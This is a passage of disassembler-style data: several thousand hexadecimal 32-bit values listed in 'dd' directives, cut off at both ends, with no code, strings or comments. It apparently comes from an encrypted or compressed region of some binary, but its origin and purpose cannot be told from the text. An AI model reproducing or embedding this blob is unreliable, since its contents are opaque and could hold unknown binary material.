2803A7A3h dd 0F55A0F5h, 0ED00C752h, 17DE998Bh, 5F9C16h, 7447C488h dd 57663D19h, 121B508h, 4393494Ah, 0DC054095h, 0D200E6E5h dd 54A4BB78h, 1FA35B01h, 7EF48FDEh, 189B101Bh, 7040A860h dd 14ACCB32h, 409F6580h, 0FE250323h, 95C41FCAh, 0A3224075h dd 93484900h, 77436DCBh, 0B73B0326h, 64393E58h, 3961AE8h dd 58C13FF0h, 0B065E0ADh, 0DB336880h, 0E6254DB8h, 0F02A538h dd 0C085ED1Ch, 0AE182109h, 0B5013C7Ah, 505BF587h, 0CA01CE06h dd 4112C557h, 0C4E2D4DCh, 9700B4B2h, 1CC2E5F8h, 0D104FCh dd 800CC41Bh, 41E72272h, 0BB3F997Fh, 0B8F000ADh, 0CBB35F46h dd 0A1E20003h, 0C96C357Ah, 2C0059DCh, 949CB0E9h, 72D42F9Bh dd 301200A3h, 10C8B6C5h, 6E0033CAh, 0DAE2F250h, 24A935h dd 0C9A40C8Dh, 3EF7BB7Eh, 0BCCBC003h, 0C0C18371h, 64BDDEh dd 0FAF2A8FFh, 3E5F3CC3h, 0DA07E9ECh, 7DCEB71Fh, 716EF530h dd 9F8C09C5h, 0BF8496B9h, 0C182EF49h, 0C80DC37Ch, 832DDAh dd 0A316912Bh, 50459C68h, 0C6B7C200h, 0BB6CE355h, 0BF8500A2h dd 71888696h, 140197C3h, 0BED3A95Fh, 3CF473DFh, 0CA3B033Ah dd 760EFDC1h, 0ACF3FEA8h, 1F2048h, 8C58497h, 3FF789EAh dd 0A380100Ch, 0A2807F1Ah, 1F011DFFh, 0D591ECC7h, 21D732C4h dd 0A6087C29h, 820B90A0h, 4889301h, 10CC2248h, 7788F35Fh dd 8548990h, 63AF449Fh, 925028A0h, 88BAA088h, 2E19D34h dd 8A148157h, 8C028794h, 22E26111h, 0CC21F29Bh, 18018B1Bh dd 552000B9h, 0F3774B2h, 31449704h, 383F8A00h, 0AB00C053h dd 0A9C2A533h, 1DE7B43Dh, 5789C8h, 0CD4A83CEh, 0AB006693h dd 0A9977CE4h, 0D8650Fh, 2679A075h, 0A25EF635h, 0EFC9D900h dd 0B171B6DBh, 0F1EE00E8h, 1CACEB49h, 62056303h, 399D3D51h dd 1A8733C0h, 0ED820093h, 8F0515B8h, 1F031903h, 0CA5378E6h dd 220EA8C9h, 58060092h, 0F67C2691h, 0A060CD0Fh, 89F8B311h dd 40E70146h, 0F0F1B2E3h, 0E8FCC9Ch, 80F3033Dh, 85B9A03Ch dd 0EC2339Dh, 0EB7F6B8Bh, 6366940h, 0A00EC3Eh, 0C1D9AD5h dd 0D8B7DDh, 0A8B9F48Bh, 3DA3277Eh, 143EC5FCh, 98A5187Ch dd 0FE9CE48h, 96A98CA1h, 925AA043h, 0F2C69BB8h, 47D81F00h dd 938AC898h, 0E1390068h, 7472CC19h, 2C0065BDh, 0DA43A7D5h dd 4C095Bh, 7D69AC81h, 47DCC707h, 0D4222100h, 1B2576DFh dd 18786046h, 1AF7F7Bh, 10C03575h, 42F5199Fh, 0AEC80027h dd 0FEFD7C3Eh, 7900876Eh, 1C34DAABh, 32261Fh, 0B9BBC239h dd 658433ECh, 2B407A60h dd 40D7A794h, 210E8B93h, 384E759h, 7B79B82Ah, 616F0159h dd 0C32D697Dh, 0C69840A8h, 410080C7h, 57A528E1h, 7F96140Dh dd 0A78E00B8h, 0C038BFB4h, 6B008CDBh, 79C7ACB0h, 1F6ADF54h dd 0C0853643h, 571502EEh, 2F009CA3h, 0B7507717h, 5830CA0Ch dd 13025CDh, 5EF7009h, 0FDE4B301h, 8CCBCC72h, 3ADCC040h dd 540D002Eh, 550A2330h, 0D500C631h, 0CF2C8BACh, 1685B6h dd 0B3CA8C5h, 43840C64h, 0DA066200h, 0CF054F58h, 9A480167h dd 5DD94A27h, 616424F4h, 0B8DC1107h, 2970D663h, 0E18F17h dd 134A9ED8h, 4007A0F1h, 2E394E03h, 0F09B7B0Ch, 0A80603h dd 25019610h, 36F04360h, 0F4BCA0A0h, 0DE9F300Eh, 0BFABA064h dd 86515Eh, 8BEA95D2h, 1724EDD4h, 0C5BBDB00h, 562AC6C2h dd 70F6009Ah, 0BBEF23Ch, 95008AA8h, 0DDAECAD6h, 8E1154h dd 0C86720F4h, 0FC4CE2B7h, 294D4100h, 0A6470BCFh, 99DA0095h dd 0AFF5D7CBh, 7D003FF3h, 0F8458EC0h, 58A80190h, 6300EB96h dd 0A65A3423h, 2F0027D7h, 5CE0D321h, 3B9AE20Ah, 11A81387h dd 0F39700B8h, 36B3071h, 60025A6h, 0E3823D4Ch, 7FEF44h dd 7AB67283h, 1EFBDE84h, 4DAE20C0h, 0FA92A9Fh, 0D727D398h dd 50E25727h, 1AEBC489h, 0D7E2500h, 15412669h, 0C7CA1462h dd 9600A084h, 9AB1F7EBh, 2B00EAD2h, 88537750h, 7ADA07h dd 7F3529E6h, 0AAAD7952h, 0CD0F11FEh, 1D15FD5Fh, 30270880h dd 73DBE1Dh, 0AE7F068Ah, 1E62D052h, 60E1FBB9h, 22000408h dd 1C57BF72h, 80C24Fh, 941B5621h, 9A19400Bh, 6B26D100h dd 885736A7h, 0AFD40039h, 0ADD23B86h, 0D1183A81h, 871084A8h dd 0A7F80F63h, 805FAFEDh, 0B155606Ah, 0DF011ADDh, 3B7E31C2h dd 82D03EC0h, 4E948CBh, 2A91F16h, 0BABFF64Ch, 33F2C861h dd 9F90002Ch, 8022E0CBh, 0A0D35081h, 18273072h, 1B4CAA8h dd 6620E4FBh, 9228A11Eh, 0BABDAD41h, 0F7CC218Dh, 5822003Bh dd 0C12EAEB3h, 0BEA05FD9h, 590072D5h, 0C0EF8591h, 7ECE9DF9h dd 58D800DCh, 72F56633h, 0FB003E38h, 465E8A6Eh, 31E2697h dd 216C14E3h, 64F8EA54h, 6D2EACDEh, 3F2071h, 1732ED08h dd 1F89647h, 0D8F18D29h, 2A3F95B5h, 33A94AD0h, 9B3E00D3h dd 0A4E98AF4h, 640328CEh, 6760574h, 72AFB06Bh, 3F8100D8h dd 20999639h, 8C013B51h, 0DA678861h, 0C8F6B117h, 3C5A60h dd 0FEFFF915h, 0C7348499h, 4598947Ah, 0A345CC01h, 0FFE2BFDCh dd 1A6CF840h, 7F87007Ah, 48CA7733h, 0C31D7E23h, 0C180254Bh dd 134E0981h, 0DE6E0180h, 570C2131h, 85303432h, 5009220Ch dd 0A8F1088h, 0EC3FE06Bh, 127900F8h, 7C307068h, 8481D700h dd 0DCA548C4h, 82FB02CCh, 7DDD08EEh, 1A7BC60h, 15783000h dd 1C491E11h, 2C72CCh, 0DACE7DE6h, 58EB57D4h, 60549C00h dd 5BD9D802h, 20D6070Bh, 0D08081EEh, 4EA04235h, 55E1A41Ch dd 0DAE6761Eh, 10227D01h, 0B5F427B9h, 51D4EDB2h, 0EA720026h dd 95E970C4h, 830E06C5h, 922AFFh, 58E3FD7Ah, 0EE570E37h dd 4D80BD49h, 86ACEDAh, 609C3550h, 0FE6B4A09h, 0AFC20A7h dd 6E7995h, 89ED7B6Ch, 727C54B2h, 70001CE2h, 0B15E8E13h dd 5C329Ch, 0E21D3E09h, 85EF5A8Ah, 0A90070ECh, 0A853EC93h dd 9F66CDh, 69F5D4D2h, 0E80FE781h, 2690841Fh, 410E6EC0h dd 0FF7458Dh, 0F0AE10B9h, 0B6AFB162h, 0FA7ABA80h, 0C500F3EBh dd 9C0DA156h, 486BACBFh, 0B239D42Eh, 16CD4204h, 4860C393h dd 300EB5A1h, 99001114h, 473BAA7Bh, 9102B7h, 0B6593E0Ah dd 9E9B43EFh, 0D5059D00h, 0B94A80CDh, 6A4F04D4h, 8051D620h dd 0BA409857h, 66E6FA00h, 0FB817872h, 0C30900F9h, 0EDB06DF7h dd 6A7D9454h, 13498900h, 90AF6372h, 1557EBCh, 4DE4EC43h dd 0DFFFB580h, 4E3A45D0h, 3B46BD1Fh, 75D8A00h, 7B69A8Ch dd 0EE527601h, 29B860DEh, 0A8009CBAh, 917D3EA3h, 917E541h dd 80DF030Ch, 9D0D480h, 0C8E887A2h, 0A155471Eh, 284FBA00h dd 4A39B003h, 2C000022h, 0B9DE9664h, 0DC970C01h, 0E1BDBAB3h dd 3AD456E8h, 0FF0287CCh, 0A3244874h, 0A6E58CC0h, 63B9AE00h dd 86EDB34Ah, 60585C03h, 3C059603h, 24A89F52h, 9D3EAFAAh dd 7C7D0007h, 0E6437F37h, 0E4D90014h, 50200262h, 0E900B356h dd 53DA7C57h, 7406FDh, 0C31DCA94h, 98214E28h, 63A8B41Eh dd 47E1A1C0h, 0F73C901h, 8116EE7Eh, 5141C0E0h, 250780DAh dd 351891B5h, 36D48B0h, 0D8762C26h, 8A10180Ah, 161F926Eh dd 3603D97Dh, 0F02BAABFh, 12B5ECD1h, 4916994h, 0C3ACE410h dd 22003BF1h, 0AD962E5Eh, 1FBC8B29h, 8F7F25A9h, 47003F73h dd 0D5AB1E77h, 9F1A6600h, 0AC6162D9h, 0F992E6D8h, 7B0F6CE0h dd 0D1B016Ah, 30A37642h, 0EC36E5h, 61C02359h, 98BAC854h dd 0B63A00C0h, 0ED8E9756h, 673ED249h, 0C6910081h, 9045A97Bh dd 5BA8C0E9h, 3A1B92CDh, 12495F00h, 3FBF86F1h, 320558E1h dd 0AC50C938h, 0E9800027h, 89EAECCDh, 6100DFD2h, 50579170h dd 5A96DEh, 5DB2F1B0h, 0D93E71BCh, 937C9209h, 0C2BD00AEh dd 791AE357h, 3F3008Dh, 6FD3B13Bh, 4600B30Eh, 7EFB1B07h dd 9AF696h, 420A89E3h, 0C37339C1h, 4A0D8D00h, 5D9C16A8h dd 762703A1h, 0DCBFC40Ah, 0FCAD5CB8h, 0A0E13Ch, 884966Bh dd 4CDB1957h, 0CE007843h, 689D4F4Ch, 1450105Fh, 120E05F0h dd 9F5C5B1Fh, 447F5CFh, 0A2C08746h, 3FCFE49h, 6D74464h dd 0A3A974DBh, 0F5CC30EAh, 7C2E21h, 0B81CE578h, 8F00013Ah dd 0F0B0954Dh, 2EF4B9D3h, 0E8C52BDh, 0A00041E9h, 999A9CC0h dd 0D48FC32Ch, 0ECE1F900h, 291FBFDh, 6F8798FAh, 5DC0A274h dd 8C981180h, 3C781703h, 1F683D10h, 561282D8h, 30DC0067h dd 0FE9812Dh, 0B7D050F1h, 0A2012A47h, 0C69C5044h, 88669190h dd 11F42300h, 2647786Dh, 0E2F65900h, 8427A0BCh, 376A3EFCh dd 74757F80h, 0C47E6EC8h, 925A042Eh, 0A1B82300h, 484E063h dd 0F9EFF1E8h, 5594C0F8h, 9473BD79h, 0E1065400h, 2E5B2912h dd 6F1F3D25h, 841E4A04h, 0C5DD809Dh, 7B268563h, 720E70CCh dd 4CECC0BDh, 60E87FC1h, 6F840844h, 1C001318h, 241F1A79h dd 6A1271h, 225F440Bh, 905DDDD0h, 4C23103Bh, 25EB0FEAh dd 9400D29Eh, 0D33745D8h, 0A6F40064h, 4863E1FAh, 0E33BF356h dd 0B0908F85h, 4408F8C8h, 989F1310h, 0C299000Fh, 67919A35h dd 155032F6h, 5A09DCF1h, 838D8AA4h, 0C860DF1Ah, 0A0B8658Ch dd 48B063DCh, 7405A0EBh, 0C0F69DB3h, 398B90C0h, 0A0BB7704h dd 0A68717D7h, 303BB8A0h, 346400AEh, 1B97AFA3h, 0C0DCD69Ah dd 0DD08D2D8h, 13C600E3h, 6BF4163Ch, 0E98249Ah, 92CA051Fh dd 5422B200h, 26E0892Fh, 3045CF8h, 0D6AA568Eh, 217CA288h dd 9E4E9D2Ch, 0C1E5B60Fh, 4307C3A3h, 0F643120h, 15D2440Ch dd 0F7F1EEA0h, 410AE2BCh, 0D8EFBFF3h, 4A5EC901h, 0F5001A42h dd 0B00CD04h, 40D403DDh, 1269ADAh, 2914E543h, 806CE167h dd 2037DD08h, 160113FAh, 0FB8622h, 6F6AF184h, 6838CA87h dd 0A9078664h, 3CE8D1C8h, 60288DB3h, 202B4CD8h, 38E7007Eh dd 0E16C355Ah, 0BB1E6F1Ch, 120042B9h, 46A34B07h, 0A000B0B5h dd 366F2FEh, 35239E82h, 0D2D8059Bh, 14001152h, 9D16676Fh dd 3C8B677h, 8DE7A55Eh, 3DA8BCAFh, 0B200FD24h, 70413F75h dd 5D2FA1h, 0DE178DE8h, 3C2571FFh, 0B89548h, 5098D214h dd 9D0EC272h, 844C3958h dd 6C221240h, 0D09DC400h, 90EAB4A9h, 44B3F400h, 85007A9Bh dd 40C51D2Fh, 2FFDCA9h, 0D4F82573h, 0DC407562h, 0AD04DA5Eh dd 24AB1A18h, 0FD648A00h, 6D137310h, 84421D90h, 0E07FF51Bh dd 3D1642ACh, 0C2802753h, 48F24A73h, 914AF0E9h, 31CF8841h dd 17C04408h, 0A59D26D2h, 40231E38h, 6A1E52F9h, 7E05E4AFh dd 837338D9h, 65C4EC80h, 0D7A34CF5h, 5AA0EB00h, 0D48BAEBDh dd 55B4B300h, 3BBE0D5Eh, 0B2640ED0h, 0C01FB5E2h, 0C1FE8FD8h dd 3008ADFh, 4A83E0C0h, 984470F3h, 267A002Ch, 0A25A9AE9h dd 271D31D9h, 2A1C8BDEh, 888BF6DDh, 33E580B6h, 18FF12C8h dd 90391AFDh, 7B3AA997h, 0CBB0501Fh, 0BB4AFA16h, 9EB16400h dd 5DB412F8h, 103AACDDh, 5250B983h, 0B5E08FCBh, 0F8037063h dd 2D360811h, 40B6F83Eh, 0FB7702ABh, 0BA675CFh, 0F404DEE0h dd 72FC3F03h, 0B0235A7Bh, 0C407D2Eh, 13DDFDB8h, 9100D029h dd 5E2AFA94h, 167BC07Ch, 3BAE575h, 0ACEC223Ch, 0A0904AC8h dd 5FD95400h, 0F5861093h, 0D7152C23h, 6C50748h, 6A64F7h dd 134E0D80h, 2C28908Ch, 0FA467h, 0ACB7F75Fh, 2D01AD61h dd 0A9363AAh, 0D0DD98ABh, 273F3AD0h, 3C87A9BEh, 2E4EA0BCh dd 3F980693h, 448E858h, 71B4479Dh, 0D1FF6F47h, 0CC5698C0h dd 92E2789Eh, 0F4E68412h, 1A47005h, 0B9A6B040h, 1CDF5F59h dd 0D6124E83h, 1B6881A5h, 2C77E8h, 62953F98h, 1F0C2625h dd 0CE818BEDh, 804FFA70h, 908F4C07h, 0C80EE637h, 8450DC00h dd 0C0C37572h, 9AAB2ABAh, 556A18F0h, 0CA960CFh, 4CD458h dd 3CC88AB3h, 2501B029h, 58204088h, 0B70F0E37h, 0C8167B00h dd 0E004D2AEh, 0BF700081h, 63B82705h, 0D7009CC7h, 0EF0F6669h dd 965D3CAh, 86A01F30h, 0BA516880h, 71B82288h, 69A7821Fh dd 0AB9BA640h, 48D4D5DFh, 1200C010h, 2B0BACCEh, 13004929h dd 0FA2FC435h, 0C31F45h, 5AB3EA0h, 6C637B76h, 436F6607h dd 0E6904CA4h, 6E565Ch, 0DF085AC0h, 2EA3FBE5h, 2300D1FAh dd 6AD5ED3Ch, 0DEC34Ch, 93044BABh, 0ACAD0A2Ch, 22862400h dd 134F5680h, 2AE00076h, 363FBD6Ah, 2F003CB1h, 96E93BF7h dd 72117Bh, 8FCA0A74h, 9DA63EE3h, 4D9BD701h, 8A0DB244h dd 5931E8h, 194999CEh, 3DDBD506h, 9B776C70h, 701C4775h dd 0BBC0258Dh, 0B1D121F3h, 0C9BF0242h, 695AD36Ah, 7BE45440h dd 28AA9200h, 0E19EEF7Ch, 0F7F600EAh, 0FDE0ECF4h, 0C70F9AFAh dd 678FF847h, 0CC83986Ch, 0CAB0D866h, 0AF990C61h, 241064C9h dd 8595709h, 0C4540FE4h, 6D42448Dh, 0C0CEB256h, 0C8BF000h dd 5386C74Eh, 54EC0091h, 0CFBB5205h, 2607B795h, 4937D270h dd 6BB6B1B1h, 0E5146820h, 3813610h, 0D48F2B00h, 1368D9D7h dd 90B60075h, 77707265h, 8700643Ch, 5363D0D3h, 1C0C8623h dd 2B2E589h, 0E81120C2h, 0D359D8E0h, 8834A400h, 26907D6Ah dd 37E2001Fh, 0FCD09CAEh, 0E7184E05h, 0F181976h, 0AF9500A4h dd 0B9E1C08Eh, 0E91EA154h, 837BC16Fh, 5ED8FBA8h, 0B2C412E2h dd 0AE8409E8h, 96A81CC8h, 4487601Dh, 0C88DAB00h, 0E0C965ACh dd 41C63CF8h, 0B33E310Eh, 5D24C5A0h, 4C2C7389h, 7E018CF5h dd 0B40A11EAh, 991DD8h, 74E77FE0h, 0DF838934h, 0AAB6A103h dd 0D347570Ch, 584CB0C5h, 0E3EF00B5h, 63FCF03h, 0E00DD37Dh dd 0C67B0D5Ah, 16E4C0h, 978B4067h, 51701991h, 2F12FF78h dd 0CC0003BEh, 71960139h, 0E10B00D9h, 42D5FCA4h, 1903BAE7h dd 94087E78h, 2A4C9012h, 0A8801EA0h, 0BAC3808Fh, 0A9DE3CCAh dd 18108360h, 24765Bh, 0E988ED94h, 386A81A2h, 28927D30h dd 0FF6002h, 2336D126h, 17BA1AB8h, 7AAFB500h, 440B3D88h dd 0AABF0965h, 2CE060B6h, 98706D9Ch, 4AA7B90Eh, 20079620h dd 6FB14E92h, 3760A058h, 3857003Eh, 0D4C72123h, 0FD014233h dd 9F1B76F1h, 81D72213h, 0C6E81EA8h, 7ACC03FAh, 153AAC08h dd 14F597A0h, 0FB8C7C13h, 0E9C39844h, 0A300D60Bh, 0D5F66F55h dd 0A483CA00h, 0DCBCE3CFh, 0CAB802h, 0E064713Ah, 11358540h dd 0F9F03F00h, 6EF29563h, 6F787Fh, 79E5BA05h, 5162319Ah dd 3EF90600h, 45CD6BFFh, 7F250702h, 0B02C4D17h, 0BBF74FD5h dd 0E65E5600h, 90EEE7B3h, 0A54C0006h, 66425158h, 7700108Ch dd 40F2DF53h, 1C718737h, 0C24A0923h, 0D6DC722Eh, 0A66E5440h dd 9A5C3F00h, 0E53CCFE2h, 60752E1Ah, 52760068h, 0C3A081C8h dd 0A989E000h, 47390DDBh, 54790006h, 0DA2577FCh, 21166A2Eh dd 50000B55h, 0B66EAEBBh, 0E118003Bh, 17C253EDh, 0B000A9C7h dd 0DF1FC80h, 2B6D9Dh, 140136E7h, 19627DE6h, 1534991Ch dd 312EE203h, 1826F904h, 1E4DEAD0h, 40B42716h, 22082314h dd 0FC00AE20h, 57D3072Dh, 3DEA12h, 0B15D8911h, 3B0FD421h dd 0CD5CC874h, 4B70095h, 0F6476B4Ch, 4264001Bh, 43679EE8h dd 0E21D3CA5h, 9AC75365h, 0E0AFF148h, 1DBA6F0Ah, 7AD63B26h dd 24C4E500h, 4B918B85h, 8DDE9800h, 821B2B7Bh, 254D1C74h dd 692200D2h, 239E3589h, 0CE4AAA00h, 0EE03E47Bh, 4FB5000Ah dd 0A26DEB64h, 0C600D7C7h, 0DAD37515h, 73DEBAE6h, 0A32B0E44h dd 0AC233C07h, 0F190A1D0h, 8CFC1084h, 42796202h, 41D73E25h dd 0BACD3432h, 1530A4E9h, 9ACB0066h, 40EAF8B3h, 8E036C7Ah dd 0CCE9F971h, 5C01F079h, 0CD8B58F6h, 0DE218F00h, 0B68226DDh dd 97FC4200h, 0C91263CFh, 0C21C0E1h, 5984D774h, 905BF817h dd 0C568C600h, 7A917E1Dh, 382100C0h, 0CEAC6C04h, 60065A3h dd 613B783Eh, 2280160h, 9B243921h, 0A2402946h, 8200B14Ch dd 0FCF29DBAh, 1F58D483h, 948C854Eh, 24008C77h, 279B5CCDh dd 876099DCh, 0AF829410h, 348E002Ah, 4A8C1CD6h, 890E8BA8h dd 80D352E9h, 0F32144EFh, 1E4300DCh, 1D70DD8Ah, 0C00A7B1h dd 9AB3C83Fh, 0E3ABBACh, 0F1B2AF1Fh, 1E7CED1Dh, 0E8A19E3Bh dd 0ABE0E240h, 3C6587h, 273D551Fh, 2760371h, 9FCBBF07h dd 0B8D0141Ah, 48626147h, 3903246Ah, 3D5769DEh, 66B678E8h dd 1AC4AD5Bh, 0C1CD4BC0h, 0BABE0F02h, 0A660255Fh, 421C45F2h dd 0D4963E18h, 1720B98h, 7F9CF53h, 0D0B6C06Ah, 42ECE8ADh dd 45A7FF13h, 0E022ED07h, 37EF2FE0h, 0A5230077h, 51E6BDE4h dd 26480A21h, 0DB007CE9h, 7CB2CB39h, 45A0EEh, 89554F65h dd 83CF5F34h, 805A3F3Ch, 0AAC1A485h, 3D9748FEh, 6F804D1Bh dd 0D344A9CFh, 0AD1F9212h, 0AB00B28Fh, 7C320E83h, 1C1BF086h dd 40A40A51h, 8FF51F49h, 6200DA42h, 0C45EE70Eh, 0B81E6431h dd 93A90012h, 161849D3h, 2005547h, 0A8FE4615h, 0AA3EAFh dd 2FB8BE2Eh, 290A0D62h, 0D7320200h, 632B3C21h, 4C905EBh dd 47355233h, 0E7B98FC4h, 0B51F9093h, 0EF006244h, 0F2F15464h dd 0F6591Bh, 4265C1FBh, 6063CBCFh, 796DDD00h, 0F323DB56h dd 24AD026Fh, 0CE5A408Ch, 0D2C68480h, 0A80C4564h, 786D9EA2h dd 0A75D001Eh, 7D1EACDh, 0BE783960h, 0C737BF04h, 50830D09h dd 763FA120h, 371FFED0h, 0C0B0A766h, 2C9E065Ah, 37BCEF0Fh dd 0B3C0C028h, 766856EEh, 1EE0F581h, 0CFA71763h, 0F7CB0166h dd 862AA35Fh, 68907E40h, 622B0248h, 64E278C4h, 28A60880h dd 3400D82Ah, 38C0176Eh, 260E722h, 0DA0691EAh, 4480631Ch dd 69427C40h, 0FB7E2E00h, 0C211A4DCh, 0D073074Ch, 7571A90Dh dd 6AE30083h, 0B1E7A881h, 553CA00h, 80580B36h, 0DAFA86h dd 63706984h, 7660D9CEh dd 0A16EE03h, 0A8131B44h, 0CA8B42h, 95A5BDEFh, 0FB6C71D0h dd 2E796107h, 0D490291Ch, 0FD3514h, 13DC2A0h, 19484E18h dd 47772C00h, 27D83742h, 0E9DE00DAh, 1C6D954Bh, 0ED005020h dd 90E3131Fh, 1E7C63h, 442D391Dh, 152A23DAh, 48C6D600h dd 3B2E9806h, 0FBE4393Ah, 9C6C669Eh, 14114037h, 0D0D2612Fh dd 17EF7C00h, 0A76081A9h, 0A24E285h, 0A4110BF9h, 353A01BCh dd 0D0294726h, 0DE0109ABh, 0DD032233h, 17C0D43Dh, 52CD00A5h dd 6FC28119h, 0CA00A677h, 0C8A47571h, 32A374C4h, 1210C7CFh dd 5CDA45E0h, 13DE8E1Ch, 183393C0h, 0C53C0Eh, 5004B269h dd 7D5D76E2h, 0BF9CD700h, 0AF2651B0h, 6BD405CDh, 82C1AEF9h dd 0CA41274Bh, 314F0B4h, 6CD5F707h, 2F808F19h, 0F30383Ah dd 6A276763h, 0C29AEEC0h, 4C0064DDh, 3828AB9Ch, 58F8D85h dd 361CB47Fh, 0C0B9C4BFh, 609D9E2Ch, 523B0A00h, 0D9E46E1Ah dd 78C800E5h, 756D42DCh, 0F21DC758h, 0A80EA0Eh, 0A796D135h dd 74C972A6h, 29B80031h, 3402BBCCh, 0A000F17Ch, 0FBD52BB5h dd 0FCDAEC1Eh, 26B100B7h, 0EF8C520Fh, 0AE00976Bh, 5B128116h dd 1F8A4411h, 14366C0h, 0EB1D55C3h, 0C3C0319Eh, 0F6D4DF98h dd 37880800h, 993A07DBh, 51F20014h, 47D52F35h, 0DD045F0Ah dd 0C8A755FDh, 648B9092h, 0C130139Ch, 0C5180045h, 3E416C31h dd 0F7466B04h, 909328FAh, 0C2381C18h, 80E65469h, 0D380763Fh dd 0F0D12C7Fh, 0F5762B74h, 831F4B7Eh, 53265EC0h, 0D24CFB07h dd 0A8329310h, 14A400CFh, 84CD5BF5h, 0B0A05ED6h, 6A00D8C1h dd 0FF3B7A7Bh, 0E3507EFh, 7310713Ch, 27D7A7C0h, 0B11D4204h dd 87406BEEh, 1B81C4E4h, 242E06B3h, 0C0095F7Ch, 3AC2B100h dd 11950D60h, 83F30058h, 0F0413E67h, 0D02C5040h, 0EC094853h dd 59040165h, 8345119Ah, 0E8BE6F00h, 2C298D3h, 0EB95E07Dh dd 0DCC0E276h, 100E9675h, 5BC42h, 45BBA8FCh, 0AC5614F7h dd 0CC039060h, 0F3D7D4C4h, 508DBAD9h, 737107A8h, 0C15C6F0Eh dd 15552278h, 0D7BA4091h, 4C267203h, 2001F3D5h, 72FFE25h dd 0CFC8C3D0h, 23006294h, 0D80D28E2h, 4860D3h, 0F2F9D480h dd 0A7C201FAh, 0E31A2F01h, 0CFDC4336h, 0C5249088h, 0E01D4A97h dd 7F2165C0h, 2763CA0h, 0EAAF3913h, 4040ADF8h, 9200B4B3h dd 0E9F6E6A6h, 3672348h, 0F40DEDBh, 9CF3AF20h, 478108A0h dd 0C4A6AD0Fh, 0A272A01Ch, 484FE8h, 0C73521F7h, 967DCEBh dd 0EC2D6B02h, 0C0B51825h, 1C993B0h, 4DAADB2Eh, 0E0E452ACh dd 2700419Fh, 0B61B1222h, 1240A469h, 40A10DF7h, 0CD0A334h dd 23E09FBCh, 9D00F8F2h, 0A0F06F75h, 2E4FD73Dh, 1B8CEB3h dd 0FFFAD8E0h, 0F943C0C0h, 0AB03F00h, 834B5C58h, 0D9C8390Ch dd 8063791Eh, 52775E24h, 1D00B5A8h, 177EA6BDh, 1C9995Ch dd 0B9AE9032h, 70FA1A43h, 73C56E0h, 0CCF50069h, 0CBA768D0h dd 6BD1009Ah, 0AD7FB4B5h, 0C8B8B0ACh, 80009872h, 966C4D40h dd 0F46F35h, 0C589D80Ch, 1C4AA6DBh, 407FF830h, 30B40F5Dh dd 0DE11759Bh, 2622FB82h, 3310015h, 0B010EB5Dh, 37181E0Eh dd 0F690C3BBh, 0E6060077h, 0CE2EA8C8h, 5200B920h, 32CF0F80h dd 9B10D82h, 7F44CD5Fh, 4AE65C00h, 77167C9Fh, 0A00057E2h dd 7AD6F40Bh, 0A0FE0047h, 95FB566Ch, 590075E1h, 402804F8h dd 0F57A2Ch, 35885B63h, 0E52DE225h, 5315960Bh, 1D30A0ADh dd 2C05731Ch, 7843FB3h, 0B05EFB49h, 6F2057B9h, 0C9414FAh dd 4147A800h, 0AF7FECh, 9D82E6BCh, 0E940B80Ah, 4CD2F700h dd 4346231Eh, 9FDE2D98h, 0E300335Eh, 8E30FE41h, 0F0CA00DCh dd 0AF13D77Ah, 280F2E42h, 40D93385h, 2BD06EF2h, 0DE361F89h dd 0B4DC3F77h, 1D106480h, 0B901595Ch, 0B30E1C1Ah, 0C0806E18h dd 0E65A4134h, 35007DD4h, 44B47899h, 0A30C82h, 667E25B7h dd 0F1B1894Ch, 3C074C98h, 445987E5h, 369100Ch, 0F641CA2Ch dd 1FBB485h, 89091903h, 86C3E1h, 0CC0B4A69h, 0CF34DB48h dd 0C0381D09h, 0A194602Dh, 66C95C8Fh, 0C285400h, 0D714F760h dd 0E4CC0D01h, 9E9205Fh, 0FE4BC0h, 0F345D9D1h, 9419F735h dd 0C8B0CCE6h, 313E6B14h, 2277269Ch, 22063A00h, 3CA7355h dd 0DBC46C0Ah, 80872A71h, 0A09B07B7h, 0EA24EEFEh, 0A100282Eh dd 0DE2D4DDAh, 1E3E0001h, 2FBC5499h, 0CF00EFECh, 0E5D2E944h dd 0E31C7213h, 196E6880h, 68AD920h, 0A5DCA700h, 0FCD2E617h dd 0ED9B00EBh, 0F7416643h, 4900F55Ah, 6951AED4h, 9DEA5Fh dd 0F210B483h, 663CD99h, 0FAD4E407h, 8FA0A715h, 161F116Bh dd 47CFAAh, 2E20EF1h, 0A100F5B1h, 0DCA9C619h, 9D4A8Ch dd 90E857BFh, 0D2BD4313h, 7B300100h, 0AE8CE30Bh, 0B89854h dd 1C0D93C1h, 732692F7h, 0C7684E60h, 4B7566B5h, 402744h dd 8C91F03Eh, 11053907h, 6CE0ACE0h, 0F0DDEF1h, 80653307h dd 69060F20h, 1700A299h, 0C953231Bh, 0A73148h, 9180C519h dd 89E5CA65h, 0D47E1100h, 70EFACA4h, 340F5D63h, 57FFED00h dd 3FDFAA50h, 0D52D600h, 1482262h, 15970772h, 0AE9DE743h dd 0B4203B09h, 9820C970h, 0CA55060Fh, 0B048E00Dh, 0DD9A72h dd 3EAB5E89h, 307AAD2Fh, 7FA23603h, 0F7FEEA3Ah, 0C7CC9C00h dd 70965C16h, 9F00EC48h, 0E5F3FCD7h, 0F81DF628h, 0EB02CCECh dd 0C8E7EF32h, 1E02B18h, 7521A1DAh, 0AC208B3Fh, 0D31B6B08h dd 12C5C320h, 8C82EA10h, 0F803FBE8h, 7450C255h, 805EFB08h dd 0E626F6h, 0D48198DCh, 2F9EED1Bh, 5BAC9EBh, 8880BCCDh dd 68AD26DAh, 60FAB66h, 1A35FDDh, 20743F0Ch, 96641FC0h dd 1EA04418h, 4C37C089h, 73C400ECh, 0BA9DAED8h, 0AA00F8CEh dd 9E5E3C3Ah, 32E62h, 5DFD2FD2h, 6D1606C3h, 8EA3500h, 687F2272h dd 0F8735Fh, 0D7E58321h, 0DD54392Eh, 5E5DF400h, 436F4466h dd 7EB20009h, 23D0AB78h, 8F1FD501h, 0D200AC0Fh, 0A7EC4CBCh dd 94FE436h, 0A833BD27h, 0BEAF5460h, 0F8668E00h, 0A0C9813Eh dd 0EAAEE62h, 8382CD55h, 5DF75B81h, 0C881E22Bh, 5061408Dh dd 94591ECCh, 0D2B26600h, 7DBC84ADh, 4EAC0317h, 0F9C8C4E7h dd 0EA632909h, 93DC8091h, 0EE2456h, 0E9CB74D0h, 970512B9h dd 3661C3Eh, 42A03FC8h, 9339005Eh, 0F74C7F9Dh, 0A800C5AAh dd 0F0D28A08h, 15792E3h, 0C3EBEEFBh, 0DBE08490h, 5BC307CAh dd 6EC07E9Ah, 669074ADh, 54D0A454h, 3E0D4400h, 379FE178h dd 69611550h, 